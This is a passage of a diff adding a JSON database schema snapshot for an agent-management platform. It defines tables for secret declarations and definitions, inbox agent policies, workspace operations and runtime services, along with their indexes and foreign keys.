+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": {
+          "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_stdio_command_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_inbox_agent_policies": {
+      "name": "user_inbox_agent_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "allowed_agent_ids": {
+          "name": "allowed_agent_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_inbox_agent_policies_company_user_uq": {
+          "name": "user_inbox_agent_policies_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_inbox_agent_policies_allowed_agent_ids_idx": {
+          "name": "user_inbox_agent_policies_allowed_agent_ids_idx",
+          "columns": [
+            {
+              "expression": "allowed_agent_ids",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_inbox_agent_policies_company_id_companies_id_fk": {
+          "name": "user_inbox_agent_policies_company_id_companies_id_fk",
+          "tableFrom": "user_inbox_agent_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "user_inbox_agent_policies_mode_check": {
+          "name": "user_inbox_agent_policies_mode_check",
+          "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.user_secret_declarations": {
+      "name": "user_secret_declarations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "env_key": {
+          "name": "env_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "allow_missing_override": {
+          "name": "allow_missing_override",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_declarations_company_idx": {
+          "name": "user_secret_declarations_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_definition_idx": {
+          "name": "user_secret_declarations_definition_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_idx": {
+          "name": "user_secret_declarations_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_company_required_idx": {
+          "name": "user_secret_declarations_company_required_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "required",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_target_path_uq": {
+          "name": "user_secret_declarations_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure": {
+          "name": "exposure",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure_handle": {
+          "name": "exposure_handle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "backend_url": {
+          "name": "backend_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
